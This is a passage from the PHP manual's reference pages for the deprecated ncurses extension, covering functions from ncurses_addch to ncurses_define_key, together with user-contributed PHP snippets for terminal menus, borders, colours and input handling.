                ncurses_wrefresh( $menu_window );
        }
        return $values[ $current ];
}

?>
kermodebear at kermodebear dot org 17-Jun-2004 07:21
Not calling ncurses_end() can (will) cause issues with terminals. Although registering a shutdown function which includes ncurses_end() may help, sometimes things go awry and you're stuck with a terminal that is acting in strange ways.

This can be fixed! *NIX systems (FreeBSD, Linux, UNIX, et al.) usually support the 'reset' command which resets the terminal settings and allows you to get things back to normal.
kermodebear at kermodebear dot org 17-Jun-2004 07:17
Here is a function that takes an associative array, presents a menu in a new window, allows the user to make a choice using up and down arrows and the enter key, and returns the value of the menu item.

Limitations include:
No way of scrolling a long list, either horiontally or vertically;
No arguments for placement on screen, although this is easy to add;
No multiple selection;
Will produce all kinds of errors and warnings if the terminal is smaller than is necessary to create the window.

I'm very new at using the ncurses library; Comments and improvements would be greatly appreciated!

<?php
/**
 * Create a simple selection menu
 * @param array Associative array; The value will be shown on the menu, while the key will be returned when the associated value is selected.
 * @return mixed
 */
function ncurses_menu_select( $menu ) {
        $keys = array_keys( $menu );
        $values = array_values( $menu );

        $height = $width = 0;
        $height = count( $menu ) + 2;
        foreach( $values as $value ) {
                $width = max( $width, strlen( $value ) + 2 );
        }

        $menu_window = ncurses_newwin( $height, $width, 5, 5 );
        ncurses_wborder( $menu_window, 0,0, 0,0, 0,0, 0,0 );

        $current = 0;
        for( $a = 0; $a < count( $values ); $a++ ) {
                if ( $a == $current ) {
                        ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                        ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $values[ $a ] );
                        ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                } else {
                        ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $values[ $a ] );
                }
        }
        ncurses_wrefresh( $menu_window );

        while( ! in_array( $key = ncurses_getch( $menu_window ), array( 13, 10 ) ) ) {
                if ( $key == NCURSES_KEY_UP AND $current > 0 ) {
                        $move = -1;
                } else if ( $key == NCURSES_KEY_DOWN and $current < count( $values ) - 1 ) {
                        $move = 1;
                } else {
                        $move = 0;
                }
                ncurses_mvwaddstr( $menu_window, 1 + $current, 1, $values[ $current ] );
                $current += $move;
                ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                ncurses_mvwaddstr( $menu_window, 1 + $current, 1, $values[ $current ] );
                ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                ncurses_wrefresh( $menu_window );
        }
        ncurses_delwin( $menu_window );
        return $keys[ $current ];
}
?>

Example Use:

<?php
// Initialie ncurses
$ncurse = ncurses_init();
// A full screen window
$fullscreen = ncurses_newwin ( 0, 0, 0, 0);
// Add a pretty border
ncurses_border(0,0, 0,0, 0,0, 0,0);
// Draw everything so far
ncurses_refresh();

// Set up menu array
$menu_items = array(
        'one'   => 'Menu Item #1',
        'two'   => 'Menu Item #2',
        'three' => 'Menu Item #3' );
// Display menu and return selection
$selection = ncurses_menu_select( $menu_items );

// Print selection
ncurses_mvaddstr( 1, 1, 'You selected ' . $menu_items[$selection] . ' with the value ' . $selection );

// Draw updates
ncurses_refresh( $fullscreen );
// End
ncurses_end();
?>
Habib Valanejad 25-Feb-2004 06:46
What if you want to draw a new window and after removing it, showing the pervious screen again? Unfortunately, there is no such a thing in php/ncurses as there is in original curses library (touchwin if I'm not mistaken - It has been a long time!).
However, you can do this by a simple trick! You can
dump the screen to a temp file and then restore it back
again!
Take a look at this function:

# Function: show_a_win()
# - Displays a small window and writes something in it.
# - waits for a key
# - shows the pervious screen again
function show_a_win()
{
   # Dump the current screen into a temp file:
   $tmpfile = tempnam("/tmp", "dump.");
   # Create a new window.
   $newwin = ncurses_newwin(4, 60, 10, 10);
   # Write something and then refresh it
   ncurses_mvwaddstr($newwin, 1, 1, "This is a test.");
   ncurses_wrefresh($newwin);
   # Wait for a key
   ncurses_wgetch($newwin);
   ncurses_delwin($newwin);  /* delete the window */
   /* Restore the screen the same way it was before entering
    * into the function:
    */
   ncurses_scr_restore($tmpfile);
   unlink($tmpfile);   /* Remove temp file */
}
Habib Valanejad 11-Dec-2003 11:30
Here is a function which would do the job for missing
ncurses_wclrtoeol() function:
/* wclrtoeol()
 * Erases  the  current line to the right of the cursor
*/
function wclrtoeol($win)
{
   # get current position
   ncurses_getyx($win, &$crow, &$ccol);
   # get maximum row and col for this window:
   ncurses_getmaxyx($win, &$max_row, &$max_col);
   for ($col = $ccol; $col < $max_col; $col ++){
      ncurses_wmove($win, $crow, $col);
      ncurses_waddch($win, 32);
   }
}
rainman at darkwired dot org 01-Aug-2003 01:55
This is not meant as spam to get people to use my client.

I have been working on a PHP4 IRC client with ncurses interface and I think it is a useful example of how ncurses with php could be used.
It is GPL licensed so you can just go and take a loot at it.

It can be found at http://torc.sourceforge.net or http://www.darkwired.org/projects/torc/

I hope this will help out some of you because php ncurses can be quite difficult I experienced :]

For any questions about the code you can ofcourse just mail me.
Habib Valanejad 25-Jun-2003 11:50
I had a small problem building php+ncurses support.
ncurses include files were installed in:
ncurses_installed_dir/include/ncurses
This caused problems when building php with ncurse support.
php was looking for include files in:
ncurses_installed_dir/include
However, include files were located in include/ncurses

I had to make symbolic links of files in ncurses directory so php could see them:
# cd ncurses_insalled_directory/include
# ln -s ncurses/* .
After that it worked.
Habib Valanejad 28-Mar-2003 03:13
For those of you who want to check if <ENTER> key is passed,
you have to check the key agains both NL and CR keys:

function get_str()
{
   for ($str = "";;){
      $key = ncurses_getch();
      switch ($key){
        case 10:   // newline
        case 13:   // Carrige Return
           return($str);
        default:
           $str .= chr($key);
            ncurses_refresh();
      } // switch
   } // for
} // get_str()

Hope that would help.
25-Mar-2003 04:18
In the example above, if you run resize from a C shell it will output the sizes in C shell syntax, run resize with -u to force Bourne syntax:
The $win parameter is just for future compatibility.

function ncurses_getmaxyx($win, &$y, &$x)
{
        exec("/usr/X11R6/bin/resize -u", $output);
        $cols = explode("=", $output[0]);
        $rows = explode("=", $output[1]);
        $x = intval($cols[1]);
        $y = intval($rows[1]);
}
joeldegan AT yahoo.com 15-Dec-2002 09:26
See the documentation for ncurses_border and ncurses_wrefresh for some more examples of doing windowing and dynamic sizing.. I also posted some information to the zend.com code-gallery for doing ncurses under php.
joeldegan AT yahoo.com 15-Dec-2002 12:10
I noticed a lack of a getxy() function so I wrote one.
You may need to change the path for your resize cmd.

<?
function getxy(){
    $rez = `/usr/X11R6/bin/resize`;
    $rez = explode("\n",$rez);
    while(list($key,$val)=each($rez)){
        $a=explode("=",$val);
        if(trim($a[0])=="COLUMNS"){ $COLUMNS = $a[1]; }
        if(trim($a[0])=="LINES"){ $LINES = $a[1]; }
    }//
    $retval[0]=$COLUMNS;
    $retval[1]=$LINES;
   return $retval;
}

print_r(getxy());
?>
joeldegan AT yahoo.com 14-Dec-2002 11:37
This is from the examples that come with the latest release.

From:
php-4.3.0RC3/ext/ncurses/example1.php

I found this useful...

<?php
$n=0;
ncurses_init();
if(ncurses_has_colors()){
ncurses_start_color();
        ncurses_init_pair(1,NCURSES_COLOR_RED,NCURSES_COLOR_BLACK);
        ncurses_init_pair(2,NCURSES_COLOR_GREEN,NCURSES_COLOR_BLACK);
        ncurses_init_pair(3,NCURSES_COLOR_YELLOW,NCURSES_COLOR_BLACK);
        ncurses_init_pair(4,NCURSES_COLOR_BLUE,NCURSES_COLOR_BLACK);
        ncurses_init_pair(5,NCURSES_COLOR_MAGENTA,NCURSES_COLOR_BLACK);
        ncurses_init_pair(6,NCURSES_COLOR_CYAN,NCURSES_COLOR_BLACK);
        ncurses_init_pair(7,NCURSES_COLOR_WHITE,NCURSES_COLOR_BLACK);
}
while(1){
for ($x=0; $x<80; $x++) {
for ($y=0; $y<24; $y++) {
  $n++;
  ncurses_move($y,$x);
  ncurses_addch($n+64);
  ncurses_color_set($n%8);
  ncurses_refresh();
  if($n>26)$n=0;
}
}
ncurses_getch();
}
?>
joeldegan AT yahoo.com 14-Dec-2002 07:56
actually *that* example does not work...
here is one that I took and trimmed down from the ncurses examples.
I will do some more and post them here..

<?
ncurses_init();
##############################################
ncurses_noecho();

    $large = ncurses_newwin(20, 60, 2, 10);
    $small = ncurses_newwin(10, 30, 7, 25);

    ncurses_refresh();
    ncurses_wrefresh($large);
    ncurses_wrefresh($small);

    ncurses_mvwaddstr($small, 5, 5, "   Test  String   ");
    ncurses_wrefresh($small);
    ncurses_getch();

##############################################
ncurses_end(); // Clean up, and quit
?>

This is from PHP 4.3.0RC0 compiled with the following flags..
./configure --prefix=/wwwroot/php --with-config-file-path=/wwwroot/php --with-mysql --enable-pcntl --with-tsrm-pthreads --enable-sysvsem --enable-sysvshm --with-curl --enable-bcmath --enable-sigchild --enable-sockets --with-ncurses
nweeks at utas dot edu dot au 08-Nov-2002 01:43
With your CGI version of PHP compiled with ncurses support, console apps are amazingly easy!

For example:
whack the following into a file, chmod +x it, and run it.

#!/usr/local/bin/php -q
<?php
ncurses_init();
ncurses_border(25,25,18,18,24,24,23,23); // Do a lovely border
ncurses_move(1,1); // Start top left(inside border)
ncurses_addstr("Welcome to NCurses");
ncurses_addstr(" with PHP!");
ncurses_refresh(); // Send buffer to screen
ncurses_end(); // Clean up, and quit
?&gt;

You'll notice the second addstr simply tacks onto the first.


Add character at current position and advance cursor

  • « Ncurses Functions
  • ncurses_addchnstr »
  • PHP Manual
  • Ncurses Functions
  • Add character at current position and advance cursor

ncurses_addch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addch — Add character at current position and advance cursor

Description

int ncurses_addch ( int $ch )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

ch

User Contributed Notes

There are no user contributed notes for this page.


Add attributed string with specified length at current position

  • « ncurses_addch
  • ncurses_addchstr »
  • PHP Manual
  • Ncurses Functions
  • Add attributed string with specified length at current position

ncurses_addchnstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addchnstr — Add attributed string with specified length at current position

Description

int ncurses_addchnstr ( string $s , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

s

n

User Contributed Notes

There are no user contributed notes for this page.


Add attributed string at current position

  • « ncurses_addchnstr
  • ncurses_addnstr »
  • PHP Manual
  • Ncurses Functions
  • Add attributed string at current position

ncurses_addchstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addchstr — Add attributed string at current position

Description

int ncurses_addchstr ( string $s )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

s

User Contributed Notes

There are no user contributed notes for this page.


Add string with specified length at current position

  • « ncurses_addchstr
  • ncurses_addstr »
  • PHP Manual
  • Ncurses Functions
  • Add string with specified length at current position

ncurses_addnstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addnstr — Add string with specified length at current position

Description

int ncurses_addnstr ( string $s , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

s

n

User Contributed Notes

nweeks at utas dot edu dot au 08-Nov-2002 12:49
Quite handy for truncing fields that may upset a screen layout:

ncurses_addnstr("tenletters",3);

only renders to screen "ten", and truncs the rest


Output text at current position

  • « ncurses_addnstr
  • ncurses_assume_default_colors »
  • PHP Manual
  • Ncurses Functions
  • Output text at current position

ncurses_addstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addstr — Output text at current position

Description

int ncurses_addstr ( string $text )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

text

User Contributed Notes

There are no user contributed notes for this page.


Define default colors for color 0

  • « ncurses_addstr
  • ncurses_attroff »
  • PHP Manual
  • Ncurses Functions
  • Define default colors for color 0

ncurses_assume_default_colors

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_assume_default_colors — Define default colors for color 0

Description

int ncurses_assume_default_colors ( int $fg , int $bg )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

fg

bg

User Contributed Notes

There are no user contributed notes for this page.


Turn off the given attributes

  • « ncurses_assume_default_colors
  • ncurses_attron »
  • PHP Manual
  • Ncurses Functions
  • Turn off the given attributes

ncurses_attroff

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_attroff — Turn off the given attributes

Description

int ncurses_attroff ( int $attributes )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

attributes

User Contributed Notes

There are no user contributed notes for this page.


Turn on the given attributes

  • « ncurses_attroff
  • ncurses_attrset »
  • PHP Manual
  • Ncurses Functions
  • Turn on the given attributes

ncurses_attron

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_attron — Turn on the given attributes

Description

int ncurses_attron ( int $attributes )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

attributes

User Contributed Notes

There are no user contributed notes for this page.


Set given attributes

  • « ncurses_attron
  • ncurses_baudrate »
  • PHP Manual
  • Ncurses Functions
  • Set given attributes

ncurses_attrset

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_attrset — Set given attributes

Description

int ncurses_attrset ( int $attributes )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

attributes

User Contributed Notes

There are no user contributed notes for this page.


Returns baudrate of terminal

  • « ncurses_attrset
  • ncurses_beep »
  • PHP Manual
  • Ncurses Functions
  • Returns baudrate of terminal

ncurses_baudrate

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_baudrate — Returns baudrate of terminal

Description

int ncurses_baudrate ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Let the terminal beep

  • « ncurses_baudrate
  • ncurses_bkgd »
  • PHP Manual
  • Ncurses Functions
  • Let the terminal beep

ncurses_beep

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_beep — Let the terminal beep

Description

int ncurses_beep ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

ncurses_beep() sends an audible alert (bell) and if its not possible flashes the screen.

See Also

  • ncurses_flash() - Flash terminal screen (visual bell)

User Contributed Notes

arplynn at gmail dot com 21-Jan-2006 09:17
If you want to make the terminal beep on a PHP CLI application without needing the ncurses library, use the following code:

<?php

function cli_beep()
{
    echo "\x07";
}

?>


Set background property for terminal screen

  • « ncurses_beep
  • ncurses_bkgdset »
  • PHP Manual
  • Ncurses Functions
  • Set background property for terminal screen

ncurses_bkgd

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_bkgd — Set background property for terminal screen

Description

int ncurses_bkgd ( int $attrchar )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

attrchar

User Contributed Notes

There are no user contributed notes for this page.


Control screen background

  • « ncurses_bkgd
  • ncurses_border »
  • PHP Manual
  • Ncurses Functions
  • Control screen background

ncurses_bkgdset

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_bkgdset — Control screen background

Description

void ncurses_bkgdset ( int $attrchar )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

attrchar

User Contributed Notes

There are no user contributed notes for this page.


Draw a border around the screen using attributed characters

  • « ncurses_bkgdset
  • ncurses_bottom_panel »
  • PHP Manual
  • Ncurses Functions
  • Draw a border around the screen using attributed characters

ncurses_border

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_border — Draw a border around the screen using attributed characters

Description

int ncurses_border ( int $left , int $right , int $top , int $bottom , int $tl_corner , int $tr_corner , int $bl_corner , int $br_corner )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Draws the specified lines and corners around the main window.

Use ncurses_wborder() for borders around subwindows!

Parameters

Every parameter expects 0 to draw a line or 1 to skip it.

left

right

top

bottom

tl_corner

Top left corner

tr_corner

Top right corner

bl_corner

Bottom left corner

br_corner

Bottom right corner

See Also

  • ncurses_wborder() - Draws a border around the window using attributed characters

User Contributed Notes

krzysztof at uno dot pl 27-Apr-2007 03:35
I've found several undocumented constants, that are very useful to create borders manually:

ACS_ULCORNER
ACS_LLCORNER
ACS_URCORNER
ACS_LRCORNER
ACS_LTEE
ACS_RTEE
ACS_BTEE
ACS_TTEE
ACS_HLINE
ACS_VLINE
ACS_PLUS
ACS_S1
ACS_S9
ACS_DIAMOND
ACS_CKBOARD
ACS_DEGREE
ACS_PLMINUS
ACS_BULLET
ACS_LARROW
ACS_RARROW
ACS_DARROW
ACS_UARROW
ACS_BOARD
ACS_LANTERN
ACS_BLOCK

They all work in UTF8 terminal...
joeldegan AT yahoo.com 15-Dec-2002 06:05
In addition to the lack of ncurses_wborder() documentation.
There is also the lack of the getyx function..
it is different than the getxy function I wrote (and posted to the main ncurses docs page on php.net) to get the max X and max Y values, instead it gives you your current Y and X values.

ncurses_getyx($z, $y, $x);// where $z = a window handle...
# the $y and $x are handed back as globals.
# so beware of using this in a function where you might be
# looping through any variable using those.
# do a 'man getyx' to see.


Moves a visible panel to the bottom of the stack

  • « ncurses_border
  • ncurses_can_change_color »
  • PHP Manual
  • Ncurses Functions
  • Moves a visible panel to the bottom of the stack

ncurses_bottom_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_bottom_panel — Moves a visible panel to the bottom of the stack

Description

int ncurses_bottom_panel ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

User Contributed Notes

There are no user contributed notes for this page.


Checks if terminal color definitions can be changed

  • « ncurses_bottom_panel
  • ncurses_cbreak »
  • PHP Manual
  • Ncurses Functions
  • Checks if terminal color definitions can be changed

ncurses_can_change_color

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_can_change_color — Checks if terminal color definitions can be changed

Description

bool ncurses_can_change_color ( void )

Checks whether the terminal has color capabilities and whether the programmer can change color definitions using ncurses_init_color(). ncurses must be initialized using ncurses_init() before calling this function.

Parameters

This function has no parameters.

Return Values

Return TRUE if the programmer can change color definitions, FALSE otherwise.

See Also

  • ncurses_has_colors() - Checks if terminal has color capabilities
  • ncurses_init_color() - Define a terminal color
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.


Switch off input buffering

  • « ncurses_can_change_color
  • ncurses_clear »
  • PHP Manual
  • Ncurses Functions
  • Switch off input buffering

ncurses_cbreak

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_cbreak — Switch off input buffering

Description

bool ncurses_cbreak ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Disables line buffering and character processing (interrupt and flow control characters are unaffected), making characters typed by the user immediately available to the program.

Return Values

Returns TRUE or NCURSES_ERR if any error occurred.

See Also

  • ncurses_nocbreak() - Switch terminal to cooked mode

User Contributed Notes

php at kormoc dot com 28-Nov-2005 06:16
re satoru's post,
While it's not using cbreak, it sorta is an example. The only difference between raw and cbreak is how control keys are delt with.

Quoted from the ncurses_programming_howto:
Normally the terminal driver buffers the characters a user types until a new line or carriage return is encountered. But most programs require that the characters be available as soon as the user types them. The above two functions are used to disable line buffering. The difference between these two functions is in the way control characters like suspend (CTRL-Z), interrupt and quit (CTRL-C) are passed to the program. In the raw() mode these characters are directly passed to the program without generating a signal. In the cbreak() mode these control characters are interpreted as any other character by the terminal driver.
satoru 06-Nov-2005 08:14
<?php
 /**************************************
  [WARNING!]
  Your terminal may be uncontrollable.

  [HOW TO EXIT]
  Push space key to terminate raw mode.

  [TESTING]
  Tested with FreeBSD5.3R + PHP5.0.5-CLI.
  The option '--with-ncurses' required.
  **************************************/

  $tty = system("tty");
  $handle = fopen($tty, "r");
  if (!$handle)
    exit("cannot open $tty.\\n");

  print "Push space key to terminate.\\n";

  ncurses_init();
  ncurses_raw();
  do {
    $ch = fread($handle, 1);
    printf('[%d] ', ord($ch));
  } while ($ch != " " && ord($ch) != 3);
  ncurses_noraw();
  ncurses_end();
  print "\\n";

  fclose($handle);
?>


Clear screen

  • « ncurses_cbreak
  • ncurses_clrtobot »
  • PHP Manual
  • Ncurses Functions
  • Clear screen

ncurses_clear

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_clear — Clear screen

Description

bool ncurses_clear ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Clears the screen completely without setting blanks.

Note: ncurses_clear() clears the screen without setting blanks, which have the current background rendition. To clear screen with blanks, use ncurses_erase().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ncurses_erase() - Erase terminal screen

User Contributed Notes

areaz at dotgeek org 14-May-2004 12:49
When your script exits, after ncurses_clear() was called, it could leave your terminal in an inconsistent state.

Therefore, you should call ncurses_savetty() in a constructor and nurses_resetty() in a destructor, to ensure, that your terminal is working fine after your script exits.

Here is an example code snippet, on how to use this function, without falling into trouble ;-)

<? // PHP5 Example

class foo
{
    /* Foo constructor */
    function __construct()
    {
        /* Initialize ncurses first */
        ncurses_init();

        /* Save your tty !!! */
        ncurses_savetty();
    }

    function bar ()
    {
        /* Clear the screen and wait a few seconds */
        ncurses_clear();

        sleep(5);
    }

    /* Foo destructor */
    function __destruct()
    {
        /* Restore your terminal settings */
        ncurses_resetty();

        /* End ncurses and clean up */
        ncurses_end();
    }

}

$test_ncurses = new foo;
$test_ncurses->bar();
?>


Clear screen from current position to bottom

  • « ncurses_clear
  • ncurses_clrtoeol »
  • PHP Manual
  • Ncurses Functions
  • Clear screen from current position to bottom

ncurses_clrtobot

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_clrtobot — Clear screen from current position to bottom

Description

bool ncurses_clrtobot ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Erases all lines from cursor to end of screen and creates blanks. Blanks created by ncurses_clrtobot() have the current background rendition.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ncurses_clear() - Clear screen
  • ncurses_clrtoeol() - Clear screen from current position to end of line

User Contributed Notes

There are no user contributed notes for this page.


Clear screen from current position to end of line

  • « ncurses_clrtobot
  • ncurses_color_content »
  • PHP Manual
  • Ncurses Functions
  • Clear screen from current position to end of line

ncurses_clrtoeol

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_clrtoeol — Clear screen from current position to end of line

Description

bool ncurses_clrtoeol ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Erases the current line from cursor position to the end. Blanks created by ncurses_clrtoeol() have the current background rendition.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ncurses_clear() - Clear screen
  • ncurses_clrtobot() - Clear screen from current position to bottom

User Contributed Notes

There are no user contributed notes for this page.


Retrieves RGB components of a color

  • « ncurses_clrtoeol
  • ncurses_color_set »
  • PHP Manual
  • Ncurses Functions
  • Retrieves RGB components of a color

ncurses_color_content

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_color_content — Retrieves RGB components of a color

Description

int ncurses_color_content ( int $color , int &$r , int &$g , int &$b )

Retrieves the red, green, and blue components for the given color definition. Terminal color capabilities must be initialized with ncurses_start_color() prior to calling this function.

Parameters

color

The number of the color to retrieve information for. May be one of the pre-defined color constants.

r

A reference to which to return the red component of the color. The value returned to the reference will be between 0 and 1000.

g

A reference to which to return the green component of the color. The value returned to the reference will be between 0 and 1000.

b

A reference to which to return the blue component of the color. The value returned to the reference will be between 0 and 1000.

Return Values

Returns -1 if the function was successful, and 0 if ncurses or terminal color capabilities have not been initialized.

See Also

  • ncurses_init_color() - Define a terminal color
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.


Set active foreground and background colors

  • « ncurses_color_content
  • ncurses_curs_set »
  • PHP Manual
  • Ncurses Functions
  • Set active foreground and background colors

ncurses_color_set

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_color_set — Set active foreground and background colors

Description

int ncurses_color_set ( int $pair )

Sets the active foreground and background colors. Any characters written after this function is invoked will have these colors. This function requires terminal colors to be supported and initialized using ncurses_start_color() beforehand.

ncurses uses color pairs to specify both foreground and background colors. Use ncurses_init_pair() to define a color pair.

Parameters

pair

The color pair from which to get the foreground and background colors to set as the active colors.

Return Values

Returns -1 on success, and 0 on failure.

Examples

Example #1 Writing a string with a specified color to the screen

<?php
ncurses_init();

// If the terminal supports colors, initialize and set active color
if (ncurses_has_colors()) {
    ncurses_start_color();
    ncurses_init_pair(1, NCURSES_COLOR_YELLOW, NCURSES_COLOR_BLUE);
    ncurses_color_set(1);
}

// Write a string at specified location
ncurses_mvaddstr(10, 10, "Hello world! Yellow on blue text!");

// Flush output to screen
ncurses_refresh();

ncurses_end();
?>

See Also

  • ncurses_init_pair() - Define a color pair
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.


Set cursor state

  • « ncurses_color_set
  • ncurses_def_prog_mode »
  • PHP Manual
  • Ncurses Functions
  • Set cursor state

ncurses_curs_set

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_curs_set — Set cursor state

Description

int ncurses_curs_set ( int $visibility )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

visibility

User Contributed Notes

dgrimes at scvl dot com 12-Feb-2005 08:12
Valid values are:

0 = Cursor invisible
1 = Cursor normal
2 = Cursor visible


Saves terminals (program) mode

  • « ncurses_curs_set
  • ncurses_def_shell_mode »
  • PHP Manual
  • Ncurses Functions
  • Saves terminals (program) mode

ncurses_def_prog_mode

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_def_prog_mode — Saves terminals (program) mode

Description

bool ncurses_def_prog_mode ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Saves the current terminal modes for program (in curses) for use by ncurses_reset_prog_mode().

Return Values

Returns FALSE on success, otherwise TRUE.

See Also

  • ncurses_reset_prog_mode() - Resets the prog mode saved by def_prog_mode

User Contributed Notes

There are no user contributed notes for this page.


Saves terminals (shell) mode

  • « ncurses_def_prog_mode
  • ncurses_define_key »
  • PHP Manual
  • Ncurses Functions
  • Saves terminals (shell) mode

ncurses_def_shell_mode

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_def_shell_mode — Saves terminals (shell) mode

Description

bool ncurses_def_shell_mode ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Saves the current terminal modes for shell (not in curses) for use by ncurses_reset_shell_mode().

Return Values

Returns FALSE on success, TRUE otherwise.

See Also

  • ncurses_reset_shell_mode() - Resets the shell mode saved by def_shell_mode

User Contributed Notes

There are no user contributed notes for this page.


Define a keycode

  • « ncurses_def_shell_mode
  • ncurses_del_panel »
  • PHP Manual
  • Ncurses Functions
  • Define a keycode

ncurses_define_key

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_define_key — Define a keycode

Description

int ncurses_define_key ( string $definition , int $keycode )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

definition

keycode

User Contributed Notes

There are no user contributed notes for this page.


Remove panel from the stack and delete it (but not the associated window)

  • « ncurses_define_key
